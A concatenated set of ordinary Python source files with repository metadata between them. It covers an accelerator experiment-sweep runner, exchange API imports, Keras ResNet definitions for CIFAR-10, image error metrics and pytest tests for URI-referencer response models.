running_procs.append(p) time.sleep(.1) wait_for_proc_limit(running_procs) elapsed = time.time() - start print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}") time.sleep(1) def interconnect_experiment(): start = time.time() exp_dir = "experiments/run-{}".format(date_second()) os.system("mkdir -p {}".format(exp_dir)) BATCH_SIZE = 1 IMSIZE = 299 ARRAY_SIZE = (32, 32) MEMORY_BW = 1200 BANK_SIZE = 262144 cnn_models = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"] cnn_models = list(itertools.product(cnn_models, [1])) bert_models = ["bert_tiny", "bert_small", "bert_medium", "bert_base", "bert_large"] no_seqs = [10, 20, 40, 60, 80, 100, 200, 300, 400, 500] bert_models = list(itertools.product(bert_models, no_seqs)) no_arrays = [32,64,128,256,512] for INTERCONN in ["banyan_exp_0", "banyan_exp_1", "banyan_exp_2", "banyan_exp_3", "benes_copy", "crossbar"]: for no_array in no_arrays: for MODEL,SENTENCE_LEN in bert_models + cnn_models: OUT_DIR = exp_dir + "/" + date_millisecond() os.mkdir(OUT_DIR) cmd1 = f'python precompiler/precompile.py \ --model {MODEL} \ --batch_size {BATCH_SIZE} \ --sentence_len {SENTENCE_LEN} \ --imsize {IMSIZE} \ --array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \ --out_dir {OUT_DIR}' cmd2 = f"./build-Release/compiler_st \ -r {ARRAY_SIZE[0]} \ -c {ARRAY_SIZE[1]} \ -N {no_array} \ -M {MEMORY_BW} \ -S {BANK_SIZE} \ -I {INTERCONN} \ -d {OUT_DIR}" cmd = cmd1 + " && " + cmd2 p = subprocess.Popen(cmd, shell=True) print("process: {} ".format(p.pid), cmd) running_procs.append(p) time.sleep(.1) wait_for_proc_limit(running_procs) elapsed = time.time() - start print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}") time.sleep(1) def bank_size_experiment(): start = time.time() exp_dir = "experiments/run-{}".format(date_second()) os.system("mkdir -p {}".format(exp_dir)) IMSIZE = 299 INTERCONN = "banyan_exp_1" ARRAY_SIZE = (32, 32) NO_ARRAY = 256 cnn_models = ["resnet152"] MEMORY_BW = 1200 for BATCH_SIZE in [1, 2, 4, 8]: for BANK_SIZE in [32768, 65536, 131072, 262144, 524288, 1048576]: for MODEL in cnn_models: OUT_DIR = exp_dir + "/" + date_millisecond() os.mkdir(OUT_DIR) cmd1 = f'python precompiler/precompile.py \ --model {MODEL} \ --batch_size {BATCH_SIZE} \ --imsize {IMSIZE} \ --array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \ --out_dir {OUT_DIR}' \ cmd2 = f"./build-Release/compiler_st \ -r {ARRAY_SIZE[0]} \ -c {ARRAY_SIZE[1]} \ -N {NO_ARRAY} \ -M {MEMORY_BW} \ -S {BANK_SIZE} \ -I {INTERCONN} \ -d {OUT_DIR}" cmd = cmd1 + " && " + cmd2 p = subprocess.Popen(cmd, shell=True) print("process: {} ".format(p.pid), cmd) running_procs.append(p) time.sleep(.1) wait_for_proc_limit(running_procs) elapsed = time.time() - start print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}") time.sleep(1) def multi_batch_experiment(): start = time.time() exp_dir = "experiments/run-{}".format(date_second()) os.system("mkdir -p {}".format(exp_dir)) IMSIZE = 299 MEMORY_BW = 1200 BANK_SIZE = 262144 INTERCONN = "banyan_exp_1" ARRAY_SIZE = (32, 32) NO_ARRAY = 256 #MODELS = ["densenet121", "bert_medium", "densenet121"] MODELS = ["resnet152", "bert_medium", "resnet152"] EXTRA_MODELS = ["None", "None", "bert_medium"] SENTENCE_LEN = 100 for BATCH_SIZE in [1,2,4,8]: for ind, MODEL in enumerate(MODELS): OUT_DIR = exp_dir + "/" + date_millisecond() os.mkdir(OUT_DIR) cmd1 = f'python precompiler/precompile.py \ --model {MODEL} \ --batch_size {BATCH_SIZE} \ --sentence_len {SENTENCE_LEN} \ --imsize {IMSIZE} \ --array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \ --extra_models {EXTRA_MODELS[ind]} \ --enable_schedule_duplication 0 \ --out_dir {OUT_DIR}' \ cmd2 = f"./build-Release/compiler_st \ -r {ARRAY_SIZE[0]} \ -c {ARRAY_SIZE[1]} \ -N {NO_ARRAY} \ -M {MEMORY_BW} \ -S {BANK_SIZE} \ -I {INTERCONN} \ -d {OUT_DIR}" cmd = cmd1 + " && " + cmd2 p = subprocess.Popen(cmd, shell=True) print("process: {} ".format(p.pid), cmd) running_procs.append(p) time.sleep(.1) wait_for_proc_limit(running_procs) elapsed = time.time() - start print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}") time.sleep(1) def array_scale_experiment(): start = time.time() exp_dir = "experiments/run-{}".format(date_second()) os.system("mkdir -p {}".format(exp_dir)) BATCH_SIZE = 1 IMSIZE = 299 MEMORY_BW = 1200 BANK_SIZE = 262144 cnn_models = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"] cnn_models = list(itertools.product(cnn_models, [1])) bert_models = ["bert_tiny", "bert_small", "bert_medium", "bert_base", "bert_large"] no_seqs = [10, 20, 40, 60, 80, 100, 200, 300, 400, 500] bert_models = list(itertools.product(bert_models, no_seqs)) INTERCONN = "banyan_exp_1" array_size_list = [] array_size_list += [(20,32,N) for N in [479]] #array_size_list += [(32,64,N) for N in [207]] array_size_list += [(20,128,N) for N in [130]] #array_size_list += [(32,256,N) for N in [32]] array_size_list += [(66,32,N) for N in [256]] #array_size_list += [(128,32,N) for N in [157]] #array_size_list += [(256,32,N) for N in [64]] #array_size_list += [(32,32,N) for N in [8,16,32,64,128,256,512]] #array_size_list += [(16,16,N) for N in [128,256,512,1024]] #array_size_list += [(32,32,N) for N in [8,16,32,64,128,256,512]] #array_size_list += [(32,32,N) for N in [32,64,128,256,512]] #array_size_list += [(64,64,N) for N in [16,32,64,128,196,256]] #array_size_list += [(128,128,N) for N in [1, 2, 4, 8, 16, 24, 32, 48, 64]] #array_size_list += [(128,128,N) for N in [2,4,8,16,24,32,48,64]] #array_size_list += [(256,256,N) for N in [1, 2, 4, 8, 12, 16]] #array_size_list += [(400,400,1), (512,512,1), (800,800,1), (960,960,1), (1024,1024,1)] #array_size_list += [(1024,1024,1)] for r, c, N in array_size_list: for MODEL,SENTENCE_LEN in bert_models + cnn_models: OUT_DIR = exp_dir + "/" + date_millisecond() os.mkdir(OUT_DIR) bank_size_norm = BANK_SIZE*int(np.ceil(128/N)) cmd1 = f'python precompiler/precompile.py \ --model {MODEL} \ --batch_size {BATCH_SIZE} \ --sentence_len {SENTENCE_LEN} \ --imsize {IMSIZE} \ --array_size {r} {c} \ --out_dir {OUT_DIR}' cmd2 = f"./build-Release/compiler_st \ -r {r} \ -c {c} \ -N {N} \ -M {MEMORY_BW} \ -S {bank_size_norm} \ -I {INTERCONN} \ -d {OUT_DIR}" cmd = cmd1 + " && " + cmd2 p = subprocess.Popen(cmd, shell=True) print("process: {} ".format(p.pid), cmd) running_procs.append(p) time.sleep(.1) wait_for_proc_limit(running_procs) elapsed = time.time() - start print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}") time.sleep(1) def partition_size_experiment(): start = time.time() exp_dir = "experiments/run-{}".format(date_second()) os.system("mkdir -p {}".format(exp_dir)) BATCH_SIZE = 1 IMSIZE = 299 ARRAY_SIZE = (32, 32) MEMORY_BW = 1200 BANK_SIZE = 262144 PARTITION_SIZES = [8, 16, 32, 48, 64, 128, 256, 512, 1024] CNN_MODELS = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"] CNN_MODELS = list(itertools.product(CNN_MODELS, [1])) BERT_MODELS = ["bert_medium", "bert_base", "bert_large"] NO_SEQS = [100] BERT_MODELS = list(itertools.product(BERT_MODELS, NO_SEQS)) NO_ARRAY = 256 INTERCONN = "banyan_exp_1" for PARTITION_SIZE in PARTITION_SIZES: for MODEL,SENTENCE_LEN in BERT_MODELS + CNN_MODELS: OUT_DIR = exp_dir + "/" + date_millisecond() os.mkdir(OUT_DIR) cmd1 = f'python precompiler/precompile.py \ --model {MODEL} \ --batch_size {BATCH_SIZE} \ --sentence_len {SENTENCE_LEN} \ --imsize {IMSIZE} \ --array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \ --partition_size {PARTITION_SIZE} \ --out_dir {OUT_DIR}' cmd2 = f"./build-Release/compiler_st \ -r {ARRAY_SIZE[0]} \ -c {ARRAY_SIZE[1]} \ -N {NO_ARRAY} \ -M {MEMORY_BW} \ -S {BANK_SIZE} \ -I {INTERCONN} \ -d {OUT_DIR}" cmd = cmd1 + " && " + cmd2 p = subprocess.Popen(cmd, shell=True) print("process: {} ".format(p.pid), cmd) running_procs.append(p) time.sleep(.1) wait_for_proc_limit(running_procs) elapsed = time.time() - start print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}") time.sleep(1) if __name__=="__main__": start = time.time() #memory_experiment() #interconnect_experiment() #partition_size_experiment() array_scale_experiment() #bank_size_experiment() #multi_batch_experiment() wait_all_finish(running_procs) elapsed = time.time() - start print("All experiments are completed in {} hours.".format(elapsed/60/60))
32.487472
115
0.537933
1,758
14,262
4.118885
0.110922
0.062146
0.034111
0.014501
0.800166
0.774479
0.767574
0.753901
0.745063
0.728214
0
0.07264
0.326252
14,262
439
116
32.487472
0.680924
0.076918
0
0.75817
0
0.019608
0.126769
0
0
0
0
0
0
1
0.039216
false
0
0.019608
0.009804
0.081699
0.04902
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ef86ebead9749af2503a50a328905cde24e7100f
297
py
Python
tradingfeatures/apis/__init__.py
realiti4/bitfinexget
6a64cf0cd1b7040fced33008ad3bbf5af034e3b9
[ "MIT" ]
2
2021-04-24T13:40:20.000Z
2021-04-25T14:51:17.000Z
tradingfeatures/apis/__init__.py
realiti4/tradingfeatures
cd68abcc405b1e3a9dcd48e204cccae98c2f979d
[ "MIT" ]
null
null
null
tradingfeatures/apis/__init__.py
realiti4/tradingfeatures
cd68abcc405b1e3a9dcd48e204cccae98c2f979d
[ "MIT" ]
null
null
null
from tradingfeatures.apis.bitfinex import bitfinex from tradingfeatures.apis.bitstamp import bitstamp from tradingfeatures.apis.bitmex import bitmex from tradingfeatures.apis.binance import binance # from tradingfeatures.apis.okex import okex # from tradingfeatures.apis.bitmex_v3 import bitmexV3
42.428571
53
0.86532
37
297
6.918919
0.297297
0.445313
0.539063
0.226563
0
0
0
0
0
0
0
0.00738
0.087542
297
7
53
42.428571
0.937269
0.316498
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ef979d570104ca1ec4455228d4c68f8c37a3a9d6
96
py
Python
sepmachine/capture/__init__.py
williamfzc/sepmachine
53bc83b2985ba2bdce9915b7f4a822d8690981a3
[ "MIT" ]
16
2020-03-20T12:37:01.000Z
2022-02-09T09:54:27.000Z
sepmachine/capture/__init__.py
williamfzc/sepmachine
53bc83b2985ba2bdce9915b7f4a822d8690981a3
[ "MIT" ]
4
2020-04-07T12:14:47.000Z
2020-07-20T13:33:53.000Z
sepmachine/capture/__init__.py
williamfzc/sepmachine
53bc83b2985ba2bdce9915b7f4a822d8690981a3
[ "MIT" ]
8
2020-03-08T09:05:47.000Z
2021-12-10T09:46:38.000Z
from sepmachine.capture.adb import AdbCapture from sepmachine.capture.empty import EmptyCapture
32
49
0.875
12
96
7
0.666667
0.333333
0.5
0
0
0
0
0
0
0
0
0
0.083333
96
2
50
48
0.954545
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
efbab1dc0c33c64983d7ae13e7715066d0869280
6,379
py
Python
eembc/CIFAR10_ResNetv1/resnet_v1_eembc.py
rushtheboy/platform_ml_models
29d025ca2cbeb0b791d8432ab40a779c93b64032
[ "RSA-MD" ]
null
null
null
eembc/CIFAR10_ResNetv1/resnet_v1_eembc.py
rushtheboy/platform_ml_models
29d025ca2cbeb0b791d8432ab40a779c93b64032
[ "RSA-MD" ]
null
null
null
eembc/CIFAR10_ResNetv1/resnet_v1_eembc.py
rushtheboy/platform_ml_models
29d025ca2cbeb0b791d8432ab40a779c93b64032
[ "RSA-MD" ]
null
null
null
import numpy as np import tensorflow as tf from tensorflow.keras.models import Model from tensorflow.keras.layers import Input, Dense, Activation, Flatten, BatchNormalization from tensorflow.keras.layers import Conv2D, AveragePooling2D, MaxPooling2D, Add from tensorflow.keras.regularizers import l1_l2 #define model def resnet_v1_eembc(input_shape=[32, 32, 3], num_classes=10, num_filters=[16, 32, 64], kernel_sizes=[3, 1], strides=[1, 2], l1p=1e-4, l2p=0): # Input layer, change kernel size to 7x7 and strides to 2 for an official resnet inputs = Input(shape=input_shape) x = Conv2D(num_filters[0], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(inputs) x = BatchNormalization()(x) x = Activation('relu')(x) # First stack # Weight layers y = Conv2D(num_filters[0], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) y = BatchNormalization()(y) y = Activation('relu')(y) y = Conv2D(num_filters[0], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y) y = BatchNormalization()(y) # Overall residual, connect weight layer and identity paths x = Add()([x, y]) x = Activation('relu')(x) # Second stack # Weight layers y = Conv2D(num_filters[1], kernel_size=kernel_sizes[0], strides=strides[1], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) y = BatchNormalization()(y) y = Activation('relu')(y) y = Conv2D(num_filters[1], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y) y = BatchNormalization()(y) # Adjust for change in dimension due to stride in identity x = Conv2D(num_filters[1], kernel_size=kernel_sizes[1], strides=strides[1], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) # Overall residual, connect weight layer and identity paths x = Add()([x, y]) x = Activation('relu')(x) # Third stack # Weight layers y = Conv2D(num_filters[2], kernel_size=kernel_sizes[0], strides=strides[1], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) y = BatchNormalization()(y) y = Activation('relu')(y) y = Conv2D(num_filters[2], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y) y = BatchNormalization()(y) # Adjust for change in dimension due to stride in identity x = Conv2D(num_filters[2], kernel_size=kernel_sizes[1], strides=strides[1], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) # Overall residual, connect weight layer and identity paths x = Add()([x, y]) x = Activation('relu')(x) # Final classification layer. pool_size = int(np.amin(x.shape[1:3])) x = AveragePooling2D(pool_size=pool_size)(x) y = Flatten()(x) outputs = Dense(num_classes, activation='softmax', kernel_initializer='he_normal')(y) # Instantiate model. model = Model(inputs=inputs, outputs=outputs) return model def resnet_v1_eembc_tiny(input_shape=[32, 32, 3], num_classes=10, num_filters=[8], kernel_sizes=[3, 1], strides=[1, 2], l1p=1e-4, l2p=0): # Input layer, change kernel size to 7x7 and strides to 2 for an official resnet inputs = Input(shape=input_shape) x = Conv2D(num_filters[0], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(inputs) x = BatchNormalization()(x) x = Activation('relu')(x) # First stack # Weight layers y = Conv2D(num_filters[0], kernel_size=kernel_sizes[0], strides=strides[1], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) y = BatchNormalization()(y) y = Activation('relu')(y) y = Conv2D(num_filters[0], kernel_size=kernel_sizes[0], strides=strides[0], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y) y = BatchNormalization()(y) # Adjust for change in dimension due to stride in identity x = Conv2D(num_filters[0], kernel_size=kernel_sizes[1], strides=strides[1], padding='same', kernel_initializer='he_normal', kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x) # Overall residual, connect weight layer and identity paths x = Add()([x, y]) x = Activation('relu')(x) # Final classification layer. pool_size = int(np.amin(x.shape[1:3])) x = AveragePooling2D(pool_size=pool_size)(x) y = Flatten()(x) outputs = Dense(num_classes, activation='softmax', kernel_initializer='he_normal')(y) # Instantiate model. model = Model(inputs=inputs, outputs=outputs) return model
36.66092
89
0.564979
753
6,379
4.628154
0.122178
0.043042
0.081779
0.107604
0.936298
0.907891
0.907891
0.898135
0.897561
0.897274
0
0.043308
0.319486
6,379
173
90
36.872832
0.759502
0.121022
0
0.923077
0
0
0.043151
0
0
0
0
0
0
1
0.015385
false
0
0.046154
0
0.076923
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
efc57f0bfde75a103b3b093d64859fdb63182106
221
py
Python
Coding-Challenges/reverseNumber/reverse_number.py
FergusDevelopmentLLC/Coders-Workshop
3513bd5f79eaa85b4d2a648c5f343a224842325d
[ "MIT" ]
33
2019-12-02T23:29:47.000Z
2022-03-24T02:40:36.000Z
Coding-Challenges/reverseNumber/reverse_number.py
FergusDevelopmentLLC/Coders-Workshop
3513bd5f79eaa85b4d2a648c5f343a224842325d
[ "MIT" ]
39
2020-01-15T19:28:12.000Z
2021-11-26T05:13:29.000Z
Coding-Challenges/reverseNumber/reverse_number.py
FergusDevelopmentLLC/Coders-Workshop
3513bd5f79eaa85b4d2a648c5f343a224842325d
[ "MIT" ]
49
2019-12-02T23:29:53.000Z
2022-03-03T01:11:37.000Z
#!/usr/bin/env python3 def reverse_number(x): pass print(reverse_number(123)) # 321 print(reverse_number(1534236469)) # 0 print(reverse_number(-2147483648)) # 0 print(reverse_number(-2147483412)) # -2143847412
20.090909
49
0.733032
29
221
5.413793
0.586207
0.414013
0.458599
0.242038
0
0
0
0
0
0
0
0.253886
0.126697
221
10
50
22.1
0.559585
0.18552
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0.166667
0
0
0.166667
0.666667
1
0
0
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
1
0
7
4bd5065c17607e048c5aa15d6c4d95a16b9f3782
3,176
py
Python
imageMetrics/metrics.py
skarrea/imageMetrics
6f945ada57a52d1d9dff50ba13042fbf370435d7
[ "MIT" ]
null
null
null
imageMetrics/metrics.py
skarrea/imageMetrics
6f945ada57a52d1d9dff50ba13042fbf370435d7
[ "MIT" ]
null
null
null
imageMetrics/metrics.py
skarrea/imageMetrics
6f945ada57a52d1d9dff50ba13042fbf370435d7
[ "MIT" ]
null
null
null
import numpy as np def RMSRE( image_true: np.ndarray, image_test: np.ndarray, mask: np.ndarray = None, epsilon: float = 1e-9, ) -> float: """Root mean squared relative error (RMSRE) between two images within the specified mask. If not mask is specified the entire image is used. Parameters ---------- image_true : np.ndarray ground truth image. image_test : np.ndarray predicted image. mask : np.ndarray, optional mask to compute the RMSRE in, by default None epsilon : float, optional epsilon used to stabilize the calculation of the relative error, by default 1e-9 Returns ------- float RMSRE value between the images within the specified mask. """ if mask is None: mask = np.ones_like(image_true) mask_flat = mask.reshape(-1).astype(bool) # flatten relativeErrorImageFlat = ( image_test.reshape(-1)[mask_flat] - image_true.reshape(-1)[mask_flat] ) / (image_true.reshape(-1)[mask_flat] + epsilon) return np.sqrt( np.mean(relativeErrorImageFlat) ** 2 + np.std(relativeErrorImageFlat) ** 2 ) def RelativeErrorImage( image_true: np.ndarray, image_test: np.ndarray, mask: np.ndarray = None, epsilon: float = 1e-9, ) -> np.ndarray: """Relative error image between two images within the specified mask. Values outside mask is set to zero. If no mask is specified the entire image is used. Parameters ---------- image_true : np.ndarray ground truth image. image_test : np.ndarray predicted image. mask : np.ndarray, optional mask to compute the RMSRE in, by default None epsilon : float, optional epsilon used to stabilize the calculation of the relative error, by default 1e-9 Returns ------- np.ndarray Relative error image. """ if mask is None: mask = np.ones_like(image_true) return np.where(mask, (image_test - image_true) / (image_true + epsilon), 0) def MARE( image_true: np.ndarray, image_test: np.ndarray, mask: np.ndarray = None, epsilon: float = 1e-9, ) -> float: """Mean absolute relative error (MARE) between two images within the specified mask. If not mask is specified the entire image is used. Parameters ---------- image_true : np.ndarray ground truth image. image_test : np.ndarray predicted image. mask : np.ndarray, optional mask to compute the RMSRE in, by default None epsilon : float, optional epsilon used to stabilize the calculation of the relative error, by default 1e-9 Returns ------- float MARE value between the images within the specified mask. """ if mask is None: mask = np.ones_like(image_true) mask_flat = mask.reshape(-1).astype(bool) # flatten relativeErrorImageFlat = ( image_test.reshape(-1)[mask_flat] - image_true.reshape(-1)[mask_flat] ) / (image_true.reshape(-1)[mask_flat] + epsilon) return np.mean(np.abs(relativeErrorImageFlat))
27.37931
82
0.631927
409
3,176
4.821516
0.173594
0.091278
0.033469
0.054767
0.848884
0.821501
0.821501
0.802231
0.802231
0.802231
0
0.009965
0.2733
3,176
115
83
27.617391
0.844454
0.511965
0
0.736842
0
0
0
0
0
0
0
0
0
1
0.078947
false
0
0.026316
0
0.184211
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ef2729d912da47367472976e5642ccc0db1359c6
196
py
Python
src/rl_replicas/common/base_algorithms/__init__.py
yamatokataoka/reinforcement-learning-replications
49eb06529ff414e16970e2e975f1a63311966b7e
[ "MIT" ]
16
2020-07-21T11:39:46.000Z
2022-02-01T23:05:57.000Z
src/rl_replicas/common/base_algorithms/__init__.py
yamatokataoka/reinforcement-learning-replications
49eb06529ff414e16970e2e975f1a63311966b7e
[ "MIT" ]
38
2020-10-09T00:59:00.000Z
2022-03-27T07:38:34.000Z
src/rl_replicas/common/base_algorithms/__init__.py
yamatokataoka/reinforcement-learning-replications
49eb06529ff414e16970e2e975f1a63311966b7e
[ "MIT" ]
1
2022-02-26T03:10:29.000Z
2022-02-26T03:10:29.000Z
""" Base Algorithms """ from rl_replicas.common.base_algorithms.off_policy_algorithm import OffPolicyAlgorithm from rl_replicas.common.base_algorithms.on_policy_algorithm import OnPolicyAlgorithm
32.666667
86
0.877551
24
196
6.833333
0.541667
0.256098
0.170732
0.243902
0.414634
0.414634
0
0
0
0
0
0
0.061224
196
5
87
39.2
0.891304
0.076531
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
324a53d88d9808c4cc51ec55bc3666008bc1aa0b
6,142
py
Python
tests/test_models.py
OnroerendErfgoed/pyramid_urireferencer
66c7b669723ee0e39d859566ae737ca665c162a4
[ "MIT" ]
null
null
null
tests/test_models.py
OnroerendErfgoed/pyramid_urireferencer
66c7b669723ee0e39d859566ae737ca665c162a4
[ "MIT" ]
95
2015-05-15T12:45:54.000Z
2022-03-01T18:07:06.000Z
tests/test_models.py
OnroerendErfgoed/pyramid_urireferencer
66c7b669723ee0e39d859566ae737ca665c162a4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import json from pyramid_urireferencer.models import ( RegistryResponse, ApplicationResponse, Item ) class TestRegistryResponse: def test_init(self): rr = RegistryResponse( 'http://id.example.org/me', True, True, 1, [ ApplicationResponse( 'Zotskapp', 'http://zotskapp.be/', 'http://zotskap.be/references', True, True, 1, [Item('Red with dots.', 'http://zotskapp.be/redwithdots')] ) ] ) assert rr.query_uri == 'http://id.example.org/me' assert rr.success assert rr.has_references assert rr.count == 1 assert len(rr.applications) == 1 def test_load_from_json(self): data = { 'query_uri': 'http://id.example.org/me', 'success': True, 'has_references': False, 'count': 0, 'applications': [] } rr = RegistryResponse.load_from_json(data) assert rr.query_uri == 'http://id.example.org/me' assert rr.success assert not rr.has_references assert rr.count == 0 assert len(rr.applications) == 0 def test_load_from_json_string(self): data = { 'query_uri': 'http://id.example.org/me', 'success': True, 'has_references': False, 'count': 0, 'applications': [] } data = json.dumps(data) rr = RegistryResponse.load_from_json(data) assert rr.query_uri == 'http://id.example.org/me' assert rr.success assert not rr.has_references assert rr.count == 0 assert len(rr.applications) == 0 def test_load_from_json_string_applications_none(self): data = { 'query_uri': 'http://id.example.org/me', 'success': True, 'has_references': False, 'count': 0, 'applications': None } data = json.dumps(data) rr = RegistryResponse.load_from_json(data) assert rr.query_uri == 'http://id.example.org/me' assert rr.success assert not rr.has_references assert rr.count == 0 assert len(rr.applications) == 0 class TestApplicationResponse: def test_init(self): ar = ApplicationResponse( 'Zotskapp', 'http://zotskapp.be', 'http://zotskapp.be/references', True, True, 1, [Item('Red with dots.', 'http://zotskapp.be/redwithdots')] ) assert ar.uri == 'http://zotskapp.be' assert ar.service_url == 'http://zotskapp.be/references' assert ar.success assert ar.has_references assert ar.count == 1 assert len(ar.items) == 1 def test_load_from_json(self): data = { 'title': 'Zotskapp', 'uri': 'http://zotskapp.be', 'service_url': 'http://zotskapp.be/references', 'success': True, 'has_references': True, 'count': 1, 'items': [{ 'uri': 'http://zotskapp.be/redwithdots', 'title': 'Red with dots.' }] } ar = ApplicationResponse.load_from_json(data) assert isinstance(ar, ApplicationResponse) assert ar.uri == 'http://zotskapp.be' assert ar.service_url == 'http://zotskapp.be/references' assert ar.success assert ar.has_references assert ar.count == 1 assert len(ar.items) == 1 def test_load_from_json_string(self): data = { 'title': 'Zotskapp', 'uri': 'http://zotskapp.be', 'service_url': 'http://zotskapp.be/references', 'success': True, 'has_references': True, 'count': 1, 'items': [{ 'uri': 'http://zotskapp.be/redwithdots', 'title': 'Red with dots.' }] } data = json.dumps(data) ar = ApplicationResponse.load_from_json(data) assert isinstance(ar, ApplicationResponse) assert ar.uri == 'http://zotskapp.be' assert ar.service_url == 'http://zotskapp.be/references' assert ar.success assert ar.has_references assert ar.count == 1 assert len(ar.items) == 1 def test_load_from_json_string_no_items(self): data = { 'title': 'Zotskapp', 'uri': 'http://zotskapp.be', 'service_url': 'http://zotskapp.be/references', 'success': True, 'has_references': False, 'count': 0, 'items': [] } data = json.dumps(data) ar = ApplicationResponse.load_from_json(data) assert isinstance(ar, ApplicationResponse) assert ar.uri == 'http://zotskapp.be' assert ar.service_url == 'http://zotskapp.be/references' assert ar.success assert not ar.has_references assert ar.count == 0 assert len(ar.items) == 0 class TestItem: def test_init(self): i = Item('Red with dots.', 'http://zotskapp.be/redwithdots') assert i.title == 'Red with dots.' assert i.uri == 'http://zotskapp.be/redwithdots' def test_load_from_json(self): data = { 'uri': 'http://zotskapp.be/redwithdots', 'title': 'Red with dots.' } i = Item.load_from_json(data) assert isinstance(i, Item) assert i.title == 'Red with dots.' assert i.uri == 'http://zotskapp.be/redwithdots' def test_load_from_json_string(self): data = { 'uri': 'http://zotskapp.be/redwithdots', 'title': 'Red with dots.' } data = json.dumps(data) i = Item.load_from_json(data) assert isinstance(i, Item) assert i.title == 'Red with dots.' assert i.uri == 'http://zotskapp.be/redwithdots'
31.336735
78
0.525399
649
6,142
4.847458
0.09245
0.102988
0.120153
0.075652
0.895741
0.890019
0.843611
0.840114
0.83185
0.819135
0
0.006477
0.346467
6,142
195
79
31.497436
0.77728
0.003419
0
0.768362
0
0
0.231737
0
0
0
0
0
0.310734
1
0.062147
false
0
0.011299
0
0.090395
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
089d066683bd1b0b96a261996f93f5ec46b1270e
11,694
py
Python
atlas/foundations_rest_api/src/acceptance/v2beta/test_jobs_listing_endpoint_v2.py
DeepLearnI/atlas
8aca652d7e647b4e88530b93e265b536de7055ed
[ "Apache-2.0" ]
296
2020-03-16T19:55:00.000Z
2022-01-10T19:46:05.000Z
atlas/foundations_rest_api/src/acceptance/v2beta/test_jobs_listing_endpoint_v2.py
DeepLearnI/atlas
8aca652d7e647b4e88530b93e265b536de7055ed
[ "Apache-2.0" ]
57
2020-03-17T11:15:57.000Z
2021-07-10T14:42:27.000Z
atlas/foundations_rest_api/src/acceptance/v2beta/test_jobs_listing_endpoint_v2.py
DeepLearnI/atlas
8aca652d7e647b4e88530b93e265b536de7055ed
[ "Apache-2.0" ]
38
2020-03-17T21:06:05.000Z
2022-02-08T03:19:34.000Z
